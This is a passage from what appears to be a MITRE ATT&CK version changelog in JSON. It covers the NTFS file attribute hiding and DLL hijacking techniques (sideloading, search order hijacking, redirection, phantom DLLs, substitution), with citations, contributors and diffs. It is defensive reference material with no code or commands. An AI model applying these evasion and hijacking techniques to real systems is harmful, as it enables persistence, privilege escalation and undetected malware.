                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:02:57.212000+00:00\", \"old_value\": \"2026-05-12 15:12:00.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.(Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes,(Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).(Citation: SpectorOps Host-Based Jul 2017)(Citation: Microsoft File Streams)(Citation: MalwareBytes ADS July 2015)(Citation: Microsoft ADS Mar 2014)\\n\\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.(Citation: Journey into IR ZeroAccess NTFS EA)(Citation: MalwareBytes ADS July 2015)\", \"old_value\": \"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\\n\\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\\n+Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.(Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes,(Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).(Citation: SpectorOps Host-Based Jul 2017)(Citation: Microsoft File Streams)(Citation: MalwareBytes ADS July 2015)(Citation: Microsoft ADS Mar 2014)\\n \\n-Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\\n+Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.(Citation: Journey into IR ZeroAccess NTFS EA)(Citation: MalwareBytes ADS July 2015)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to84__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to84__0\"><a href=\"#difflib_chg_to84__top\">t</a></td><td class=\"diff_header\" id=\"from84_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;NTFS&nbsp;file&nbsp;attributes&nbsp;to&nbsp;hide&nbsp;their&nbsp;malic</td><td class=\"diff_next\"><a href=\"#difflib_chg_to84__top\">t</a></td><td class=\"diff_header\" id=\"to84_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;NTFS&nbsp;file&nbsp;attributes&nbsp;to&nbsp;hide&nbsp;their&nbsp;malic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;data&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;detection.&nbsp;Every&nbsp;New&nbsp;Technology&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;data&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;detection.&nbsp;Every&nbsp;New&nbsp;Technology&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">File&nbsp;System&nbsp;(NTFS)&nbsp;formatted&nbsp;partition&nbsp;contains&nbsp;a&nbsp;Master&nbsp;Fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">File&nbsp;System&nbsp;(NTFS)&nbsp;formatted&nbsp;partition&nbsp;contains&nbsp;a&nbsp;Master&nbsp;Fil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Table&nbsp;(MFT)&nbsp;that&nbsp;maintains&nbsp;a&nbsp;record&nbsp;for&nbsp;every&nbsp;file/directo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Table&nbsp;(MFT)&nbsp;that&nbsp;maintains&nbsp;a&nbsp;record&nbsp;for&nbsp;every&nbsp;file/directo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;on&nbsp;the&nbsp;partition.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;SpectorOps&nbsp;Host-Based&nbsp;Jul&nbsp;20</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;on&nbsp;the&nbsp;partition.(Citation:&nbsp;SpectorOps&nbsp;Host-Based&nbsp;Jul&nbsp;201</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">17)&nbsp;Within&nbsp;MFT&nbsp;entries&nbsp;are&nbsp;file&nbsp;attributes,<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Micro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">7)&nbsp;Within&nbsp;MFT&nbsp;entries&nbsp;are&nbsp;file&nbsp;attributes,(Citation:&nbsp;Microso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;NTFS&nbsp;File&nbsp;Attributes&nbsp;Aug&nbsp;2010)&nbsp;such&nbsp;as&nbsp;Extended&nbsp;Attribu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;NTFS&nbsp;File&nbsp;Attributes&nbsp;Aug&nbsp;2010)&nbsp;such&nbsp;as&nbsp;Extended&nbsp;Attribute</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;(EA)&nbsp;and&nbsp;Data&nbsp;[known&nbsp;as&nbsp;Alternate&nbsp;Data&nbsp;Streams&nbsp;(ADSs)&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;(EA)&nbsp;and&nbsp;Data&nbsp;[known&nbsp;as&nbsp;Alternate&nbsp;Data&nbsp;Streams&nbsp;(ADSs)&nbsp;when</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;more&nbsp;than&nbsp;one&nbsp;Data&nbsp;attribute&nbsp;is&nbsp;present],&nbsp;that&nbsp;can&nbsp;be&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;more&nbsp;than&nbsp;one&nbsp;Data&nbsp;attribute&nbsp;is&nbsp;present],&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;to&nbsp;store&nbsp;arbitrary&nbsp;data&nbsp;(and&nbsp;even&nbsp;complete&nbsp;files).<span class=\"diff_sub\">&nbsp;</span>(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;store&nbsp;arbitrary&nbsp;data&nbsp;(and&nbsp;even&nbsp;complete&nbsp;files).(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;SpectorOps&nbsp;Host-Based&nbsp;Jul&nbsp;2017)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;SpectorOps&nbsp;Host-Based&nbsp;Jul&nbsp;2017)(Citation:&nbsp;Microsoft&nbsp;File&nbsp;St</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Streams)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MalwareBytes&nbsp;ADS&nbsp;July&nbsp;2015)<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reams)(Citation:&nbsp;MalwareBytes&nbsp;ADS&nbsp;July&nbsp;2015)(Citation:&nbsp;Micro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Microsoft&nbsp;ADS&nbsp;Mar&nbsp;2014)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;store&nbsp;malicious&nbsp;da</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;ADS&nbsp;Mar&nbsp;2014)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;store&nbsp;malicious&nbsp;data&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ta&nbsp;or&nbsp;binaries&nbsp;in&nbsp;file&nbsp;attribute&nbsp;metadata&nbsp;instead&nbsp;of&nbsp;directl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">binaries&nbsp;in&nbsp;file&nbsp;attribute&nbsp;metadata&nbsp;instead&nbsp;of&nbsp;directly&nbsp;in&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;in&nbsp;files.&nbsp;This&nbsp;may&nbsp;be&nbsp;done&nbsp;to&nbsp;evade&nbsp;some&nbsp;defenses,&nbsp;such&nbsp;as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iles.&nbsp;This&nbsp;may&nbsp;be&nbsp;done&nbsp;to&nbsp;evade&nbsp;some&nbsp;defenses,&nbsp;such&nbsp;as&nbsp;stati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;static&nbsp;indicator&nbsp;scanning&nbsp;tools&nbsp;and&nbsp;anti-virus.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;indicator&nbsp;scanning&nbsp;tools&nbsp;and&nbsp;anti-virus.(Citation:&nbsp;Journey</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Journey&nbsp;into&nbsp;IR&nbsp;ZeroAccess&nbsp;NTFS&nbsp;EA)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MalwareBytes&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;into&nbsp;IR&nbsp;ZeroAccess&nbsp;NTFS&nbsp;EA)(Citation:&nbsp;MalwareBytes&nbsp;ADS&nbsp;July</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ADS&nbsp;July&nbsp;2015)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2015)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0432: Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 18:11:08.357000+00:00",
                    "modified": "2026-11-04 01:04:30.088000+00:00",
                    "name": "DLL",
                    "description": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions.(Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\u2019s behavior.  Another method implements a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.(Citation: Sophos)\n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/001",
                            "external_id": "T1574.001"
                        },
                        {
                            "source_name": "Hijack DLLs CrowdStrike",
                            "description": " falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs \u2014 and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025.",
                            "url": "https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/"
                        },
                        {
                            "source_name": "kroll bpl",
                            "description": "Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025.",
                            "url": "https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution"
                        },
                        {
                            "source_name": "Sophos",
                            "description": "Gabor Szappanos. (2023, May 3). A doubled \u201cDragon Breath\u201d adds new air to DLL sideloading attacks. Retrieved October 3, 2025.",
                            "url": "https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/"
                        },
                        {
                            "source_name": "Hexacorn DLL Hijacking",
                            "description": "Hexacorn. (2013, December 8). Beyond good ol\u2019 Run key, Part 5. Retrieved August 14, 2024.",
                            "url": "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/"
                        },
                        {
                            "source_name": "microsoft remote preloading",
                            "description": "Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025.",
                            "url": "https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637"
                        },
                        {
                            "source_name": "Microsoft - manifests/assembly",
                            "description": "Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN"
                        },
                        {
                            "source_name": "Microsoft redirection",
                            "description": "Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN"
                        },
                        {
                            "source_name": "dll pre load owasp",
                            "description": "OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025.",
                            "url": "https://owasp.org/www-community/attacks/Binary_planting"
                        },
                        {
                            "source_name": "Virus Bulletin",
                            "description": "Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.",
                            "url": "https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/"
                        },
                        {
                            "source_name": "unit 42",
                            "description": "Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025.",
                            "url": "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/"
                        },
                        {
                            "source_name": "Wietze Beukema DLL Hijacking",
                            "description": "Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025.",
                            "url": "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Ami Holeston, CrowdStrike",
                        "Hajime Yanagishita, Macnica, Inc.",
                        "Marina Liang",
                        "Stefan Kanthak",
                        "Suguru Ishimaru, ITOCHU Cyber & Intelligence Inc.",
                        "Travis Smith, Tripwire",
                        "Wietze Beukema @Wietze",
                        "Will Alexander, CrowdStrike",
                        "Yusuke Niwa, ITOCHU Cyber & Intelligence Inc."
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:04:30.088000+00:00\", \"old_value\": \"2026-09-11 19:32:27.370000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\\n\\nSpecific ways DLLs are abused by adversaries include:\\n\\n### DLL Sideloading\\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\\n\\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\\n\\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\\n\\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions.(Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\\u2019s behavior.  Another method implements a \\u201cloader-for-a-loader\\u201d, where a malicious DLL\\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.(Citation: Sophos)\\n\\n### DLL Search Order Hijacking\\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\\n\\n### DLL Redirection\\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\\n\\n### Phantom DLL Hijacking\\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\\n\\n### DLL Substitution\\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\\n\\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\\n\\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\\n\\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.\", \"old_value\": \"Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\\n\\nSpecific ways DLLs are abused by adversaries include:\\n\\n### DLL Sideloading\\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\\n\\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\\n\\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\\n\\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\\u2019s behavior.  Another method implements a \\u201cloader-for-a-loader\\u201d, where a malicious DLL\\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)\\n\\n### DLL Search Order Hijacking\\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\\n\\n### DLL Redirection\\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\\n\\n### Phantom DLL Hijacking\\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\\n\\n### DLL Substitution\\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\\n\\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\\n\\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\\n\\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.\", \"diff\": \"--- \\n+++ \\n@@ -9,7 +9,7 @@\\n \\n Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\\n \\n-Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\\u2019s behavior.  Another method implements a \\u201cloader-for-a-loader\\u201d, where a malicious DLL\\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)\\n+Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions.(Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\\u2019s behavior.  Another method implements a \\u201cloader-for-a-loader\\u201d, where a malicious DLL\\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.(Citation: Sophos)\\n \\n ### DLL Search Order Hijacking\\n Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to73__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to73__0\"><a href=\"#difflib_chg_to73__top\">t</a></td><td class=\"diff_header\" id=\"from73_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;dynamic-link&nbsp;library&nbsp;files&nbsp;(DLLs)&nbsp;in&nbsp;o</td><td class=\"diff_next\"><a href=\"#difflib_chg_to73__top\">t</a></td><td class=\"diff_header\" id=\"to73_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;dynamic-link&nbsp;library&nbsp;files&nbsp;(DLLs)&nbsp;in&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rder&nbsp;to&nbsp;achieve&nbsp;persistence,&nbsp;escalate&nbsp;privileges,&nbsp;and&nbsp;evade&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 